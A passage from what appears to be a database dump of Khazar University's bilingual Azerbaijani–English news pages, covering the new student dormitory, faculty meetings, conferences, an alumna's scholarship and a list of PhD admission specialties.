text-indent:-.25in;line-height:150%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAyaqyolu və\r\nhamam: ümumidir, otaqlardan bayırda yerləşir.</p>\r\n<p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMətbəx: mətbəx\r\nvə saxlama (soyuducu) avadanlıqları ilə təchiz olunmuş ümumi </p>\r\n<p>mətbəx/bufet ərazisi.</p>\r\n<p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPaltaryuyan\r\nmaşın (quruducu ilə), ütü və s. təchiz olunmuş camaşırxana.</p>\r\n<p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nÜmumi\r\nistirahət otağı: komputerlər, televizor, divan olan bu otaq sizin və\r\nqonaqlarınızın</p>\r\n<p>rahatlığını təmin edir.</p>\r\n<p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİnternet:\r\nbütün yataqxananı əhatə edən WI-FI.</p>\r\n<p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSaxlama\r\notağı.</p>\r\n<p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSakit ərazidə\r\nyerləşən dərs otağı.</p>\r\n<p><strong>Yataqxanada təhlükəsizlik:</strong></p>\r\n<p>Yataqxana tələbə və qonaqların təhlükəsizliyini təmin etmək məqsədilə&nbsp; təhlükəsizlik kameraları ilə təchiz\r\nolunmuşdur. Bina 24/7 video nəzarətdədir və təhlükəsizlik işçiləri var.</p>\r\n<p><strong>Qiymətlər:</strong></p>\r\n<p>Bir nəfər üçün aylıq&nbsp;ödəniş (otaq növündən asılı olaraq):&nbsp;</p><p>Əcnəbi tələbələr 90-140 ABŞ dolları,</p><p>Yerli\r\ntələbələr 120-170 AZN</p>\r\n<p><strong>Gülərüz və yardımsevər yataqxana\r\npersonalı sizin xidmətinizdədir. </strong></p>\r\n<p><strong>Siz yataqxanamızda qarşılamağı səbirsizliklə gözləyirik!</strong></p><p><strong><br></strong></p><h3>Əlaqə:</h3><p><em><strong>Ofis</strong></em>:&nbsp; &nbsp; (+994&nbsp;12) 422 28 17&nbsp;</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(+994&nbsp;12) 422 28 06</p><p><strong><em>Mobil</em></strong>:&nbsp; (+994&nbsp;55) 223 47 37</p><p><strong>E-mail:&nbsp;</strong><a href=\"http://mailto:dormitory@khazar.org/\">dormitory@khazar.org</a></p><p><br></p>'),(2117,1302,'en','The Brand New Khazar University Student Dormitory','The brand new student dormitory of Khazar University offers cozy furnished accommodation to both local and international students...','<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:15.0pt;background:white\"\"=\"\">The brand new student dormitory\r\nof Khazar University offers cozy furnished accommodation to both local and\r\ninternational students.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:15.0pt;background:white\"\"=\"\"><strong>Location: </strong>Conveniently located close to both the main\r\nNeftchiler Campus of Khazar University (3 min walking distance) and the\r\nNeftchiler metro station (10 min walking distance), the dormitory offers a wide\r\nrange of services.</p>\r\n<p><strong>Amenities and Services:</strong></p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nRooms: shared (minimum\r\noccupancy: 2 people; maximum occupancy: 4 people).</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEach room is equipped\r\nwith a bed, a bedside drawer, wardrobe, and a table.</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nToilets and showers:\r\nshared, outside of the rooms</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKitchen: a shared\r\nkitchen/buffet area with cooking and storage (refrigerator) facilities</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nLaundry facilities\r\nwith washing machines (with dryers), irons, etc.</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSocializing lounge\r\nroom: an area with computers, TV, sofas welcomes your guests or visitors.</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInternet: Wi-Fi\r\nconnection covers all dormitory area</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nStorage area</p>\r\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nQuietly located study\r\nroom</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:15.0pt;background:white\"\"=\"\"><strong>Dormitory Safety: </strong>The dormitory is equipped with security\r\ncameras and other technology to ensure safety of our students and guests. The\r\nbuilding is under constant (24/7) video surveillance and has security\r\npersonnel.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:15.0pt;background:white\"\"=\"\"><strong>Pricing:</strong></p><p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:15.0pt;background:white\"\"=\"\"><strong> </strong>Monthly rates per person (depending on the room type)   are:</p><p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:15.0pt;background:white\"\"=\"\"> International\r\nstudents: $90&nbsp;– $140;&nbsp;</p><p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:15.0pt;background:white\"\"=\"\">Local students: 120&nbsp;– 170 AZN</p><p><strong>\r\nOur\r\nfriendly and ready-to-help dormitory team/staff is at your service. We are\r\nlooking forward to welcoming you in our dormitory!</strong></p><p><strong><br></strong></p><h3>Contact:</h3><p><em><strong>Office</strong></em>:&nbsp; &nbsp;(+994&nbsp;12) 422 28 17&nbsp;</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;(+994&nbsp;12) 422 28 06</p><p><strong><em>Mobile</em></strong>: (+994&nbsp;55) 223 47 37</p><p><strong><em>E-mail</em>:&nbsp;</strong><a href=\"http://mailto:dormitory@khazar.org/\">dormitory@khazar.org</a>&nbsp;</p><p><br></p>'),(2118,1303,'en','School of Education Meeting','On September 2, 2016, Dr. Elza Semedli, Dean of the School of Education, held a meeting for faculty members. Participants in the meeting included...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On September 2, 2016, Dr. Elza Semedli,\r\nDean of the School of Education, held a meeting for faculty members.\r\nParticipants in the meeting included Assistant Deans Zarifa Aliyeva and Aygun\r\nVerdiyeva; Dr. Irada Khalilova, Head of the Biology Department; Associate\r\nProfessor Roza Arazova, Head of the Department of History and Archeology; Dr.\r\nRovshan Abbasov, Chair of the Department of Geography and the Environment; Dr.\r\nNuru Safarov, Head of the Department of Electronics, Telecommunications and\r\nRadio Engineering; and Ali Huseynli, Chair of the Department of Mathematics. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The objective of the meeting was to\r\ndiscuss changes in the new academic year. Topics covered included programs for\r\nthe new academic year, admissions, course load and syllabi, trainings to\r\nincrease instructors’ professional levels, and ethical behavior standards for\r\ninstructors. Plans were also made for a meeting and orientation for incoming freshmen.\r\n</p><p>\r\nThen academic plans\r\nwere discussed and Dr. Semedli asked the departments to prepare their final\r\ncourse plans.&nbsp;</p>'),(2119,1303,'az','Fakültə Şurasının iclası oldu','2016-cı il sentyabrın 2-də Xəzər Universiteti Təhsil fakültəsinin dekanı PhD. Elza Səmədova departamentlərin nümayəndələrinin iştirakı ilə iclas keçirdi. İclasda...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil sentyabrın 2-də Xəzər Universiteti Təhsil fakültəsinin dekanı PhD. Elza Səmədova\r\ndepartamentlərin nümayəndələrinin iştirakı ilə iclas keçirdi. İclasda dekan\r\nmüavinləri Zərifə Əliyeva və Aygün Verdiyeva, Bioloji elmləri departamentinin\r\nmüdiri İradə Xəlilova, Tarix və arxeologiya departamentinin müdiri Roza\r\nArazova, Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasov,\r\nElektronika, telekommunikasiya və radio mühəndisliyi departamentinin müdiri\r\nNuru Səfərov, Riyaziyyat departamentinin müdiri Əli Hüseynli iştirak edirdilər.\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">İclasın\r\nməqsədi yeni tədris ilində olacaq yeniliklər və düzəlişlər barəsində müzakirə\r\naparmaq idi. İclasda yeni tədris ilinin proqramları və qəbul planının, dərs\r\nyükünün və sillabusların, müəllimlərin peşəkarlıq səviyyəsini artırmaq üçün təşkil\r\nolunacaq təlimin və müəllimlərin etik davranışlarının müzakirəsi keçirildi. Həmçinin,\r\n1-ci il tələbələri ilə görüşün təşkili, departament müdirləri ilə tanışlıq və universitet\r\nilə ümumi tanışlığın keçirilməsi ilə bağlı danışıqlar oldu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Sonda\r\nisə tədris planı müzakirə edildi və E.Səmədova departmentlərin hər birindən tədris\r\nplanının yekun formasının hazırlanmasını xahiş etdi.&nbsp;</p>'),(2120,1305,'en','Khazar English Department Member in International Conference','Milana Abasova, Khazar University doctorate student and Minor Program Coordinator of the English Language and Literature Department, participated in the SGEM International Multidisciplinary Conference on Social Sciences & Arts held on August 24-30, 2016 in Bulgaria...','<p>Milana Abasova, Khazar University doctorate student\r\nand Minor Program Coordinator of the English Language and Literature Department,\r\nparticipated in the SGEM International Multidisciplinary Conference on Social\r\nSciences &amp; Arts held on August 24-30, 2016 in Bulgaria with her article\r\nentitled “<strong>The Impact of Social Networks\r\non Students’ English Language in Azerbaijan</strong>.” Milana Abasova chaired the morning\r\nsession of the conference held on August 28, 2016 and was awarded with a crystal\r\nplaque and certificate for the best presentation.</p>'),(2121,1305,'az','“Xəzər”in əməkdaşı beynəlxalq konfransda iştirak etdi','2016-cı il avqustun 24-dən 30-dək Bolqarıstanda keçirilmiş Sosial elmlər üzrə III Beynəlxalq Multidisiplinar Elmi konfransda Xəzər Universitetinin dissertantı (İngilis dili və ədəbiyyatı departamentinin Seçmə fənlər üzrə proqram koordinatoru) Milana Abasova ...','<p>2016-cı il\r\navqustun 24-dən 30-dək Bolqarıstanda keçirilmiş Sosial elmlər üzrə III Beynəlxalq\r\nMultidisiplinar Elmi konfransda Xəzər Universitetinin dissertantı (İngilis dili\r\nvə ədəbiyyatı departamentinin Seçmə fənlər üzrə proqram koordinatoru) Milana Abasova\r\n“Sosial şəbəkələrin azərbaycanlı tələbələrin ingilis dilini öyrənməsinə təsiri”\r\nadlı məqalə ilə çıxış etdi. Milana Abasova avqustun 28-də – konfransın 5-ci\r\ngünü keçirilən iclasın səhər sessiyasına sədrlik etdi, ən yaxşı təqdimata görə\r\n“büllur lövhəcik” və sertifikatla mükafatlandırıldı.</p>'),(2122,1306,'az','Xəzər Universitetində beynəlxalq konfrans keçiriləcək','2016-cı il noyabrın 7-dən 9-na kimi Xəzər Universitetində labex TransferS və Xəzər Universitetinin təşkilatçılığı ilə “Qafqazda görüşlər və qarşılıqlı təsirlər...','<p>2016-cı il&nbsp;noyabrın 7-8-i saat 09:30-da Xəzər Universitetinin “Mərmər” zalında “labex TransferS” və Xəzər Universitetinin birgə təşkilatçılığı ilə “Qafqazda görüşlər və qarşılıqlı təsirlər. Mədəniyyətlərarası əlaqələrin uzunmüddətli tarixi” adlı beynəlxalq konfrans keçiriləcək. Konfransın davamı olaraq, noyabrın 9-u saat 16:00-da universitetin şəhər mərkəzindəki kampusunda (Bəşir Səfəroğlu küç. 122) konsert keçiriləcək.</p><p>Konfrans haqqında daha geniş məlumatı aşağıdakı link vasitəsilə əldə edə bilərsiniz:</p><p><a href=\"http://www.khazar.org/files/pdf/events/program.pdf\">“ENCOUNTERS AND INTERWEAVINGS IN CAUCASUS&nbsp;A LONG-TERM HISTORY OF CROSS-CULTURAL TRANSFERS ”</a></p>'),(2123,1306,'en','International Conference at Khazar University','On November 7-8, 2016, starting at 9:30, an international conference on “Encounters and Interweavings in the Caucasus: a long-term...','<p>On November 7-8, 2016, starting at 9:30, an international conference on “Encounters and Interweavings in the Caucasus: a long-term history of cross-cultural transfers” organized by Khazar University and labex TransferS will be held in the Marble Hall of Khazar University. The conference will end with a concert at 16:00 on November 9 on the university’s downtown campus (122 Bashir Safaroghlu St).&nbsp;</p><p>More information about the conference is available at the following link:</p><p><a href=\"http://www.khazar.org/files/pdf/events/program.pdf\">“ENCOUNTERS AND INTERWEAVINGS IN CAUCASUS&nbsp;A LONG-TERM HISTORY OF CROSS-CULTURAL TRANSFERS ”</a>  <br></p>'),(2125,1307,'az','Xəzər universitetində yeni dərs ilinə hazırlıq: fotosessiya','Xəzər universitetində yeni dərs ilinə hazırlıq: fotosessiya ...','<p>Xəzər\r\nuniversitetində yeni dərs ilinə hazırlıq: fotosessiya</p>'),(2126,1308,'az','Məzunumuzun böyük uğuru','Keçən tədris ilində Xəzər Universitinin bakalavr pilləsini fərqlənmə diplomu (yüksək fəxri diplom) ilə bitirmiş Afaq Əhmədova  magistr təhsilini Fransada  Eyfel proqramı (Eiffel Program) çərçivəsində davam etdirəcəkdir. Eyfel proqramı Fransa Xarici İşlər Nazirliyi tərəfindən təsis olunmuş və əla tədris göstəricilərinə malik olan  ən yaxşı  xarici tələbələrin Fransanın ən yüksək təhsil institutlarında magistr və PhD pillələrində təhsil almaları üçün nəzərdə tutulur...','<p>Keçən tədris ilində Xəzər Universitinin bakalavr\r\npilləsini fərqlənmə diplomu (yüksək fəxri diplom) ilə bitirmiş Afaq Əhmədova&nbsp;\r\nmagistr təhsilini Fransada&nbsp; Eyfel proqramı (Eiffel Program) çərçivəsində\r\ndavam etdirəcəkdir. Eyfel proqramı Fransa Xarici İşlər Nazirliyi tərəfindən təsis\r\nolunmuş və əla tədris göstəricilərinə malik olan&nbsp; ən yaxşı&nbsp; xarici tələbələrin\r\nFransanın ən yüksək təhsil institutlarında magistr və PhD pillələrində təhsil\r\nalmaları üçün nəzərdə tutulur.</p>\r\n<p>Afaq Əhmədova Bakının Nərimanov&nbsp;rayonundakı 207 nömrəli\r\ntam orta məktəbi əla qiymətlərlə bitirdikdən sonra qəbul imtahanlarında 620 bal\r\ntoplayaraq, Xəzər Universitetinin İqtisadiyyat və menecment fakultəsinə daxil\r\nolmuşdu. Oxuduğu müddət ərzində\r\nErasmus Mundus proqramı çərçivəsində bir il İtaliyanın nüfuzlu təhsil ocağı\r\nolan Venesiyadakı Ka-Foskari Universitetində (Ca-Foscari University of Venice)\r\ntəhsilini davam etdirmiş və yüksək göstəricilərə nail olmuşdur. Hal-hazırda&nbsp; o, Fransanın Klermont-Ferrand (Clermont-Ferrand) şəhərindəki Overn Universitetində (The University of Auvergne) magistr təhsilini davam etdirir. </p>\r\n<p>Məzunumuzu bu münasibətlə&nbsp; ürəkdən təbrik edir və\r\nona daha böyük uğurlar arzulayırıq.</p>'),(2127,1308,'en','Great Accomplishment of Khazar Alumna ','In the last academic year, Afag Ahmadova graduated from Khazar University’s bachelor program with a High Honors. She has now enrolled in a master’s degree program in France through the Eiffel Program, which was founded by the French Ministry of Foreign Affairs to create opportunities for excellent foreign students to earn master and PhD degrees in the top higher education institutions of France...','<p>In the last academic\r\nyear, Afag Ahmadova graduated from Khazar University’s bachelor program with a\r\nHigh Honors. She has now enrolled in a master’s degree program in France\r\nthrough the Eiffel Program, which was founded by the French Ministry of Foreign\r\nAffairs to create opportunities for excellent foreign students to earn master\r\nand PhD degrees in the top higher education institutions of France. </p>\r\n<p>Afag Ahmadova graduated\r\nfrom high school number 207 in the Narimanov&nbsp;District of Baku with excellent\r\ngrades. Then she scored 620 points on the central admission examination and\r\nenrolled in Khazar University’s School of Economics and Management. During her\r\ntime at Khazar, she spent one year abroad in Ca’ Foscari University of Venice, a prestigious educational institution of Italy,\r\nthrough the Erasmus Mundus Program with high results. She is currently a master\r\nstudent at the University of Auvergne in Clermont-Ferrand, France. </p>\r\n<p>We congratulate our\r\nalumna on this achievement and wish her further success in her academic career.&nbsp;</p>'),(2143,1317,'az','Təsisçi “Lazımsız” fənlər”lə bağlı fikrini bildirdi','2016-cı il sentyabrın 9-da “Exo” qəzetinin (rusca) İnternet səhifəsində “Lazımsız” fənlər” adlı yazı dərc olunmuşdur. Yazıda qeyd olunan məsələ ilə bağlı təhsil üzrə ekspert olaraq, Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı fikir bildirmişdir...','<p>2016-cı il sentyabrın 9-da “Exo” qəzetinin (rusca) İnternet səhifəsində “Lazımsız” fənlər” adlı yazı dərc olunmuşdur. Yazıda qeyd olunan məsələ ilə bağlı təhsil üzrə ekspert olaraq, Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı fikir bildirmişdir.</p><p>Yazını tam şəkildə bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://www.echo.az/article.php?aid=105298\" target=\"_blank\">http://www.echo.az/article.php?aid=105298</a>.</p>'),(2130,1310,'az','Xəzər Universiteti 2016-2017-ci tədris ili üçün aşağıdakı ixtisaslar üzrə əyani (ödənişli), doktoranturaya və dissertanturaya qəbul elan edir','Fəlsəfə doktoru proqramı üzrə doktoranturada əyani təhsil müddəti 3 il, dissertantura üzrə təhsil müddəti isə 4 ildir...','<br><table cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"54\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>№</strong></p>\r\n  </td>\r\n  <td width=\"567\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>İxtisasın adı</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>1</strong></p>\r\n  </td>\r\n  <td width=\"567\" style=\"\" width:425.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Analiz və funksional analiz-1202.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>2</strong></p>\r\n  </td>\r\n  <td width=\"567\" style=\"\" width:425.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Kompüter elmləri-1203.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n  <td width=\"567\" style=\"\" width:425.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Biokimya-2426.02</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>4</strong></p>\r\n  </td>\r\n  <td width=\"567\" style=\"\" width:425.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">İmmunologiya-2412.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>5</strong></p>\r\n  </td>\r\n  <td width=\"567\" style=\"\" width:425.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Neft və qaz yataqlarının geologiyası, axtarışı və\r\n  kəşfiyyatı-2521.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>6</strong></p>\r\n  </td>\r\n  <td width=\"567\" style=\"\" width:425.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Neft və qaz yataqlarının işlənməsi və istismarı-2525.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>7</strong></p>\r\n  </td>\r\n  <td width=\"567\" style=\"\" width:425.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Ümumi iqtisadiyyat-5308.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>8</strong></p>\r\n  </td>\r\n  <td width=\"567\" style=\"\" width:425.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Dünya iqtisadiyyatı-5310.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>9</strong></p>\r\n  </td>\r\n  <td width=\"567\" style=\"\" width:425.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Müəssisələrin təşkili və idarə olunması-5311.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>10</strong></p>\r\n  </td>\r\n  <td width=\"567\" style=\"\" width:425.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Daxili fiskal siyasət və dövlət maliyyəsi-5301.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>11</strong></p>\r\n  </td>\r\n  <td width=\"567\" style=\"\" width:425.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">German dilləri-5708.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>12</strong></p>\r\n  </td>\r\n  <td width=\"567\" style=\"\" width:425.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Azərbaycan ədəbiyyatı-5716.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>13</strong></p>\r\n  </td>\r\n  <td width=\"567\" style=\"\" width:425.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Təhsilin təşkili və planlaşdırılması-5802.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>14</strong></p>\r\n  </td>\r\n  <td width=\"567\" style=\"\" width:425.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Ümumi pedaqogika, Pedaqogikanın və təhsilin\r\n  tarixi-5804.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>15</strong></p>\r\n  </td>\r\n  <td width=\"567\" style=\"\" width:425.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Beynəlxalq münasibətlər-5901.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>16</strong></p>\r\n  </td>\r\n  <td width=\"567\" style=\"\" width:425.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Sosial fəlsəfə-7202.01</p>\r\n  </td>\r\n </tr>\r\n</tbody></table><br>\r\n<p>Fəlsəfə\r\ndoktoru proqramı üzrə doktoranturada əyani təhsil müddəti 3 il, dissertantura\r\nüzrə təhsil müddəti isə 4 ildir.</p>\r\n<p><strong>Fəlsəfə doktoru hazırlığı:</strong><strong></strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">1.\r\nFəlsəfə doktoru proqramı üzrə elan olunmuş doktorantura yerlərinə ali təhsili\r\nolan (ali təhsil pilləsinin magistratura səviyyəsini bitirən, yaxud təhsili ona\r\nbərabər tutu­lan) Azərbaycan Respublikasının vətəndaşları müsabiqə əsasında\r\nqəbul olunurlar.</p>\r\n<p style=\"\" 